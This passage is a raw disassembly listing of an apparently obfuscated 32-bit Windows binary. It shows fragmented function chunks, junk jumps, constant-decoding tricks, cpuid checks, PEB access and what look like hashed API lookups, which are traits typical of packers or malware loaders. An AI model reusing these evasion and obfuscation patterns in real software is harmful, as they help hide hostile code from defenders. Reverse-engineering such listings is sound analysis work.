CHUNK AT 004248CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004263E7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427D8B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004281A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428484 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004296E9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A5F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AD8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B69D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BB0D SIZE 00000005 BYTES push ebp jmp loc_4296E9 sub_426950 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_426956: ; CODE XREF: sub_42A197:loc_426E93j ; wto1jq8f:00427D2Bj mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_4260F3 jmp loc_42AA89 ; END OF FUNCTION CHUNK FOR sub_42A197 ; =============== S U B R O U T I N E ======================================= sub_426968 proc far ; CODE XREF: sub_42B12A+Dp ; wto1jq8f:0042C718j arg_5C5BBE8B = dword ptr 5C5BBE8Fh ; FUNCTION CHUNK AT 00424EC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004295FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E20D SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx and eax, 7 mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 jnz loc_42AC2F cmp dword ptr [ebp-0Ch], 5 jmp loc_4295FE sub_426968 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8Bh ; ‹ db 40h ; @ db 68h ; h db 51h ; Q db 68h ; h db 0A9h ; © db 0C7h ; Ç db 84h ; „ db 7Fh ; db 59h ; Y db 0E9h ; é db 87h ; ‡ db 0F0h ; ð db 0FFh db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_426994: ; CODE XREF: sub_42D9D9:loc_424B66j mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax loc_42699F: ; CODE XREF: sub_42D9D9-7267j ; sub_42D9D9-3C48j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] jmp loc_426E8E ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- loc_4269AA: ; CODE XREF: wto1jq8f:0042603Ej js loc_42E63A and ebp, edi loc_4269B2: ; CODE XREF: wto1jq8f:loc_42602Aj add eax, 0B7E3BF3Dh xchg eax, [esp] jmp loc_42D4DA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_4269C1: ; CODE XREF: sub_4267AE+2BF1j jmp near ptr sub_42CB36 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- loc_4269C6: ; CODE XREF: wto1jq8f:00427FC8j jmp loc_42E887 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_4269CB: ; CODE XREF: sub_42DC5C+E8j or edi, 0C469D1CCh ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_4269D1 proc near ; CODE XREF: sub_42669E:loc_42E2E6p mov [esp+0], ebx pop ebx call sub_4269EF retn sub_4269D1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_4269DB: ; CODE XREF: sub_42E83D-2478j jmp loc_42C608 ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- loc_4269E0: ; CODE XREF: wto1jq8f:0042AB9Bj jmp locret_42AD68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F23 loc_4269E5: ; CODE XREF: sub_424F23+147Ej jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_424F23 ; --------------------------------------------------------------------------- loc_4269EA: ; CODE XREF: wto1jq8f:00424C0Bj jmp loc_4283DC ; =============== S U B R O U T I N E ======================================= sub_4269EF proc near ; CODE XREF: sub_4269D1+4p ; FUNCTION CHUNK AT 0042E7DF SIZE 00000005 BYTES push ebp push offset sub_4286EC jmp loc_42E7DF sub_4269EF endp ; --------------------------------------------------------------------------- loc_4269FA: ; CODE XREF: wto1jq8f:00427235j shl esi, 15h ; =============== S U B R O U T I N E ======================================= sub_4269FD proc far ; CODE XREF: sub_42B353+E05p ; FUNCTION CHUNK AT 0042422C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424485 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424723 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FC7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426919 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00428E27 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F8E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042A21C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A717 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042A808 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A945 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B515 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B6CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BEEF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042C168 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D5F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E149 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E58E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042E6C4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042E765 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F6CF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042F714 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042F750 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042F788 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042F7CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F7F9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F809 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042F832 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042FEB8 SIZE 0000000C BYTES xchg ebx, [esp+0] pop ebx or eax, eax jnz loc_42E58E jmp loc_42E765 sub_4269FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_426A0E: ; CODE XREF: wto1jq8f:004295C9j retn ; --------------------------------------------------------------------------- jmp sub_4281DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293C8 loc_426A14: ; CODE XREF: sub_4293C8+Cj jmp nullsub_104 ; END OF FUNCTION CHUNK FOR sub_4293C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_426A19: ; CODE XREF: sub_42ADC7-3A5Ej ; sub_42ADC7:loc_42A642j cmp dword ptr [ebp-1C8h], 2B584245h jnz loc_428BE9 jmp loc_428802 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_426A2E: ; CODE XREF: wto1jq8f:00427C5Fj or ebp, ebx mov [ebp+0], eax ; START OF FUNCTION CHUNK FOR sub_429459 loc_426A33: ; CODE XREF: sub_429459:loc_42C187j add eax, 40535662h mov eax, [eax] or eax, eax jnz loc_427F44 jmp loc_425EB4 ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433B loc_426A48: ; CODE XREF: wto1jq8f:0042C49Bj ; sub_42433B+88CFj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42433B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426A4A: ; CODE XREF: sub_426535+7CCAj ; sub_42716A+7314j jmp loc_42A843 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_426A4F: ; CODE XREF: wto1jq8f:004261D8j jmp loc_427E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433B loc_426A54: ; CODE XREF: sub_42433B+4j ; sub_42CBEE+Aj xor eax, eax mov [ebp-8], eax jmp loc_42CC05 ; END OF FUNCTION CHUNK FOR sub_42433B ; --------------------------------------------------------------------------- dw 45F6h dd 51E908F8h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_426A67: ; CODE XREF: sub_426C0C:loc_424E1Ej jz loc_42EB43 jmp loc_42CAD8 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_426A72: ; CODE XREF: sub_4264F4-2027j adc edx, [esp+8+var_4] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_42F1F4 ; END OF FUNCTION CHUNK FOR sub_4264F4 ; --------------------------------------------------------------------------- loc_426A84: ; CODE XREF: wto1jq8f:004270D7j xchg eax, [esp] pop eax mov esp, ebp mov ebp, offset loc_42DAAE xchg ebp, [esp] jmp loc_42EBEF ; --------------------------------------------------------------------------- loc_426A97: ; CODE XREF: wto1jq8f:0042A04Aj mov [esp], esi pop esi push ebp mov ebp, esp push ecx jmp loc_42BE5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_426AA4: ; CODE XREF: sub_42DB52+Fj pop edx xor edx, 0F36B013Ch add edx, ebp add edx, 3FB30C5Dh mov [edx], eax jmp loc_42DBFE ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_426ABA: ; CODE XREF: sub_425944+21CDj xor edx, edx push edx push eax mov eax, [ebp-8] cdq add eax, [esp-8+arg_4] adc edx, [esp-8+arg_8] jmp loc_429A1D ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- locret_426ACE: ; CODE XREF: wto1jq8f:00429368j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426456 loc_426ACF: ; CODE XREF: sub_426456+6j jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_426456 ; =============== S U B R O U T I N E ======================================= sub_426AD4 proc near ; DATA XREF: sub_428D47+3C64o ; FUNCTION CHUNK AT 00428B66 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C0CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D784 SIZE 00000005 BYTES push 0D1E89798h pop ebx xor ebx, 0D1E8979Fh popf and ecx, ebx pop ebx mov eax, 1 jmp loc_42D784 sub_426AD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_426AEF: ; CODE XREF: sub_42CBD1+1F54j sbb esi, 0CA615D9Fh loc_426AF5: ; CODE XREF: wto1jq8f:004293F4j ; sub_42ADC7:loc_4294D2j ... jo loc_42EA6B cmp dword ptr [ebp-4], 1 jnz loc_42C73E jmp loc_42F5B8 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426B0A: ; CODE XREF: sub_426535+266Dj jnz loc_42DF23 jmp loc_429792 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- push 0 push esi push 0D33017EFh pop esi rol esi, 16h add esi, 40B347Bh jmp loc_426F56 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426B2D: ; CODE XREF: wto1jq8f:0042B94Dj jmp near ptr sub_42CB36 ; --------------------------------------------------------------------------- loc_426B32: ; DATA XREF: wto1jq8f:00428F57o push 8D797C12h pop edi add edi, 72C97897h xchg edi, [esp] jmp loc_42F4AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427106 loc_426B46: ; CODE XREF: sub_427106-1C7j jnz loc_42893D or ecx, 6BE60E41h jmp loc_428938 ; END OF FUNCTION CHUNK FOR sub_427106 ; --------------------------------------------------------------------------- loc_426B57: ; DATA XREF: sub_429D4E-2E2Bo push 0 lea eax, [ebp-20h] push eax ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_426B5D: ; CODE XREF: sub_42CBD1:loc_42B24Dj call sub_42596F push edx jmp loc_42B168 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_426B68: ; CODE XREF: wto1jq8f:0042EB84j jno locret_42C58F jb loc_427CC2 jmp sub_427F8F ; --------------------------------------------------------------------------- and eax, 0FFFFFFh push offset sub_4283CC jmp locret_424E41 ; --------------------------------------------------------------------------- loc_426B88: ; CODE XREF: wto1jq8f:0042D110j jz loc_42739D jmp loc_4291B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4259FF loc_426B93: ; CODE XREF: sub_4259FF:loc_42A545j xchg edi, [esp-14h+arg_10] mov ebp, edi pop edi jmp near ptr dword_42435C+2 ; END OF FUNCTION CHUNK FOR sub_4259FF ; --------------------------------------------------------------------------- push eax jmp loc_42BCBB ; --------------------------------------------------------------------------- or eax, eax jnz loc_42B96B call sub_424585 mov edx, 9E849D81h call sub_429165 push eax jmp loc_42E2F0 ; --------------------------------------------------------------------------- push 1705E8B7h jmp loc_42D1A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_426BCB: ; CODE XREF: sub_42ADC7-1527j and edi, edx loc_426BCD: ; CODE XREF: sub_42ADC7:loc_425EC7j push 0 push 9534B28Eh xor dword ptr [esp+0], 9534B28Eh push 10h mov eax, [ebp+8] jmp loc_4284D4 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: wto1jq8f:0042BA35j call sub_426C04 mov ds:dword_42A73C, eax call sub_42ED32 mov edx, 90F68180h call sub_426C04 mov ds:dword_42A748, eax retn ; =============== S U B R O U T I N E ======================================= sub_426C04 proc near ; CODE XREF: sub_42CFE2-8FCDp ; wto1jq8f:loc_426BE5p ... ; FUNCTION CHUNK AT 004247D4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426E43 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042BE43 SIZE 0000000E BYTES push ebp jmp loc_4247D4 sub_426C04 endp ; --------------------------------------------------------------------------- loc_426C0A: ; CODE XREF: wto1jq8f:00427017j mov ecx, [edi] ; =============== S U B R O U T I N E ======================================= sub_426C0C proc near ; CODE XREF: sub_426535:loc_42BDAAp ; FUNCTION CHUNK AT 00424E1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A67 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CAD8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042EB35 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042F4F4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042F573 SIZE 00000017 BYTES xchg edi, [esp+0] pop edi cmp dword ptr [ebp-4], 6 jnz loc_42F4F4 jmp loc_424E1E sub_426C0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 0F2B89A19h call sub_429165 push eax rol eax, 17h jmp loc_42A4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_426C32: ; CODE XREF: sub_429BFF:loc_42E589j mov eax, [eax] add eax, 4 push 0EF5C556Bh mov [esp+0], eax mov eax, [ebp+8] jmp near ptr loc_42EE7D+2 ; --------------------------------------------------------------------------- loc_426C47: ; CODE XREF: sub_429BFF:loc_42D73Bj mov eax, [ebp+8] cmp dword ptr [eax-4], 0 jmp loc_42F2E7 ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_426C53 proc near ; CODE XREF: sub_42D53B-14A3j push ebp mov eax, [ebp-20h] call sub_4242F8 pop ecx mov [ebp-20h], eax sub_426C53 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42B705 loc_426C60: ; CODE XREF: sub_42B705+4j ; wto1jq8f:0042C089j ... mov eax, [ebp-20h] sub eax, [ebp-28h] jmp loc_4242EE ; END OF FUNCTION CHUNK FOR sub_42B705 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_426C6B: ; CODE XREF: sub_4267AE:loc_425A78j push 0 push 79A4466Eh xor dword ptr [esp+0], 0B7BA6795h xor dword ptr [esp+0], 0CE1E21FBh push 10h mov eax, [ebp-8] jmp loc_42B090 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_426C8A: ; CODE XREF: sub_4260DB:loc_4260F3j push 20E5A51Eh jmp loc_42C238 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426C94: ; CODE XREF: sub_426535:loc_42A2EBj jz loc_42FCAC jmp loc_42DFE0 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_426C9F proc near ; DATA XREF: wto1jq8f:00429D19o ; FUNCTION CHUNK AT 004264EF SIZE 00000005 BYTES push 8CE5CBDAh pop ebx add ebx, 735D24CEh mov [ebx], eax pop ebx jmp loc_4264EF sub_426C9F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426CB3: ; CODE XREF: wto1jq8f:loc_42AE10j shl ebp, 12h rol esi, 16h jmp sub_42C1EE ; --------------------------------------------------------------------------- locret_426CBE: ; CODE XREF: wto1jq8f:loc_42E08Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_426CBF: ; CODE XREF: sub_4291B9+7j mov eax, ds:dword_42D604 or eax, eax jnz loc_427A74 jmp loc_42DA64 ; END OF FUNCTION CHUNK FOR sub_4291B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_426CD2: ; CODE XREF: sub_42CB49-7B2Fj and edx, edi loc_426CD4: ; CODE XREF: sub_42CB49:loc_4284E1j mov edi, eax mov eax, 80000001h xor edx, edx cpuid and eax, 0FFFh add [esi], eax jmp loc_426EDD ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428136 loc_426CEB: ; CODE XREF: sub_428136:loc_42B1D8j push 5F5E1793h pop edi sub edi, 839C8667h loc_426CF7: ; CODE XREF: wto1jq8f:loc_42AD69j add edi, 24810458h jmp loc_427DEE ; END OF FUNCTION CHUNK FOR sub_428136 ; --------------------------------------------------------------------------- dw 0BDBAh dd 0E8F78D9Dh, 2459h, 0E5895468h, 24048928h, 561BC0C1h dd 8858E8h db 0 ; --------------------------------------------------------------------------- locret_426D1D: ; CODE XREF: wto1jq8f:loc_424CD8j retn ; --------------------------------------------------------------------------- jz loc_42CA83 jmp loc_42DE64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg eax, edx jmp sub_4282A6 ; =============== S U B R O U T I N E ======================================= sub_426D31 proc near ; CODE XREF: wto1jq8f:0042B3E7p ; wto1jq8f:0042CC97j ; FUNCTION CHUNK AT 0042E322 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx loc_426D35: ; CODE XREF: wto1jq8f:loc_42A48Bj call sub_424585 mov edx, 0CE3062ECh push offset sub_42C88D jmp loc_42E322 sub_426D31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426D49: ; CODE XREF: wto1jq8f:00426E78j or edx, 0B31F3526h ; =============== S U B R O U T I N E ======================================= sub_426D4F proc near ; CODE XREF: sub_4263A6:loc_4263A7p ; FUNCTION CHUNK AT 00429550 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B00D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B970 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BC5B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C590 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8AA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042EDA3 SIZE 0000000B BYTES xchg edx, [esp+0] loc_426D52: ; CODE XREF: wto1jq8f:004245F4j pop edx mov eax, ds:dword_42E520 or eax, eax jnz near ptr loc_42FC67+1 jmp loc_429550 sub_426D4F endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor ecx, ebp mov eax, 60h call sub_428183 jmp loc_42AC03 ; --------------------------------------------------------------------------- db 0Fh db 89h ; ‰ db 0DEh ; Þ db 33h ; 3 db 0 db 0 db 64h ; d db 8Bh ; ‹ db 5 db 30h ; 0 db 0 db 0 db 0 db 0E9h ; é db 0EAh ; ê db 41h ; A db 0 db 0 ; =============== S U B R O U T I N E ======================================= sub_426D89 proc near ; CODE XREF: startj push eax call sub_429B39 loc_426D8F: ; CODE XREF: sub_42CBD1-7004j jmp sub_424585 sub_426D89 endp ; --------------------------------------------------------------------------- jmp loc_42BE16 ; --------------------------------------------------------------------------- loc_426D99: ; CODE XREF: wto1jq8f:0042A3B7j jge loc_428613 test ebp, eax jmp loc_42D6C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_426DA6: ; CODE XREF: sub_429BFF+1649j jp loc_42D8D3 loc_426DAC: ; CODE XREF: sub_429BFF:loc_428918j call sub_42ED32 jmp loc_425F21 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- dw 7D80h dd 850F00FBh, 816Eh, 0FFE0E3E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426DC5: ; CODE XREF: sub_426535+1BA1j shr eax, 1 loc_426DC7: ; CODE XREF: sub_426535:loc_4280CCj push offset sub_42B019 jmp nullsub_50 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- pop edx mov eax, ds:dword_42905C or eax, eax jnz loc_4280B2 loc_426DE0: ; CODE XREF: wto1jq8f:00428C2Fj call sub_42D882 ; START OF FUNCTION CHUNK FOR sub_4260DB loc_426DE5: ; CODE XREF: sub_4260DB-37Fj jmp loc_42D54B ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- loc_426DEA: ; DATA XREF: sub_42B0AE+10o xchg eax, [esp] retn ; --------------------------------------------------------------------------- loc_426DEE: ; DATA XREF: sub_42B0AE+Bo xor eax, 99705E4Ch rol eax, 1Fh call sub_42A88D ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_426DFC: ; CODE XREF: sub_42CBD1+955j jmp loc_427074 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_426E01: ; CODE XREF: sub_428BA9+16j jmp loc_42D589 ; END OF FUNCTION CHUNK FOR sub_428BA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_426E06: ; CODE XREF: sub_42EDB9-7936j jmp loc_42E7E4 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_426E0B: ; CODE XREF: wto1jq8f:00426F15j jmp loc_427C26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_426E10: ; CODE XREF: sub_42727F+6908j ror eax, 5 shl eax, 0Dh rol edx, 3 mov ecx, [edi] loc_426E1B: ; CODE XREF: sub_42727F:loc_42DB7Bj call sub_4292B9 ; END OF FUNCTION CHUNK FOR sub_42727F ; START OF FUNCTION CHUNK FOR sub_42AEA4 loc_426E20: ; CODE XREF: sub_42AEA4-1381j jmp sub_42DFE5 ; END OF FUNCTION CHUNK FOR sub_42AEA4 ; --------------------------------------------------------------------------- jg loc_4265BA jmp loc_42E222 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_426E30: ; CODE XREF: sub_42A467-49F5j and ecx, esi xchg ecx, [edx] rol ebx, 1Ah jmp loc_4247A0 ; END OF FUNCTION CHUNK FOR sub_42A467 ; --------------------------------------------------------------------------- xor esi, edx jmp loc_4259F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C04 loc_426E43: ; CODE XREF: sub_426C04-241Dj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4278D6 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] jmp loc_42BE43 ; END OF FUNCTION CHUNK FOR sub_426C04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_426E5D: ; CODE XREF: sub_426535:loc_42B83Bj xchg edx, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_426E65 proc near ; CODE XREF: wto1jq8f:004246AFj ; sub_426535+3AB4p mov [esp+0], esi pop esi cpuid add [esi], eax push offset loc_42DDBC jmp nullsub_4 sub_426E65 endp ; --------------------------------------------------------------------------- pushf jmp loc_426D49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAED loc_426E7D: ; CODE XREF: sub_42EAED:loc_42CA38j mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42EAED ; --------------------------------------------------------------------------- loc_426E84: ; CODE XREF: wto1jq8f:0042E62Fj jmp loc_42752D ; --------------------------------------------------------------------------- jmp loc_4262A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_426E8E: ; CODE XREF: sub_42D9D9-7034j jmp loc_42491F ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_426E93: ; CODE XREF: sub_42A197-56D4j jmp loc_426956 ; END OF FUNCTION CHUNK FOR sub_42A197 ; =============== S U B R O U T I N E ======================================= sub_426E98 proc near ; CODE XREF: sub_426535:loc_4248F2p ; sub_42621A+5E9Cp ... ; FUNCTION CHUNK AT 00426FC5 SIZE 00000011 BYTES js sub_424351 push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_426FC5 sub_426E98 endp ; =============== S U B R O U T I N E ======================================= sub_426EA9 proc near ; CODE XREF: sub_42B31F-5558p ; wto1jq8f:00428467j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00428436 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042937A SIZE 00000016 BYTES xchg ebx, [esp+0] pop ebx xchg edx, [esp-4+arg_0] push 0 push 0 push 704043B1h pop eax jmp loc_42937A sub_426EA9 endp ; =============== S U B R O U T I N E ======================================= sub_426EBF proc near ; DATA XREF: sub_426535:loc_42C883o ror eax, 14h push eax retn sub_426EBF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D44C loc_426EC4: ; CODE XREF: sub_42D44C-93A3j jmp loc_42B65D ; END OF FUNCTION CHUNK FOR sub_42D44C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D343 loc_426EC9: ; CODE XREF: sub_42D343-8A6j push ecx mov [esp+0], ebp mov ebp, esp jmp loc_42E5DC ; END OF FUNCTION CHUNK FOR sub_42D343 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_426ED4: ; CODE XREF: wto1jq8f:loc_428081j ; sub_42DC5C+185j lea eax, [ebp-24h] call sub_426719 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_426EDD: ; CODE XREF: sub_42CB49-5E63j jmp loc_42D047 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- loc_426EE2: ; DATA XREF: sub_424BF9+3F97o call sub_42D765 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429017 loc_426EE8: ; CODE XREF: sub_429017+5j jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_429017 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B565 loc_426EEE: ; CODE XREF: sub_42B565-64B6j call sub_42C423 loc_426EF3: ; CODE XREF: wto1jq8f:0042E815j add eax, 47B8E398h xchg eax, [esp+0] jmp loc_4294AF ; END OF FUNCTION CHUNK FOR sub_42B565 ; --------------------------------------------------------------------------- add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_42E0A8 loc_426F10: ; CODE XREF: wto1jq8f:loc_42C043j call sub_42B5E4 jmp loc_426E0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D4E loc_426F1A: ; CODE XREF: sub_429D4E+22j lea eax, [ebp-14h] mov dword ptr [eax], 737361h push offset loc_426B57 jmp loc_42E696 ; END OF FUNCTION 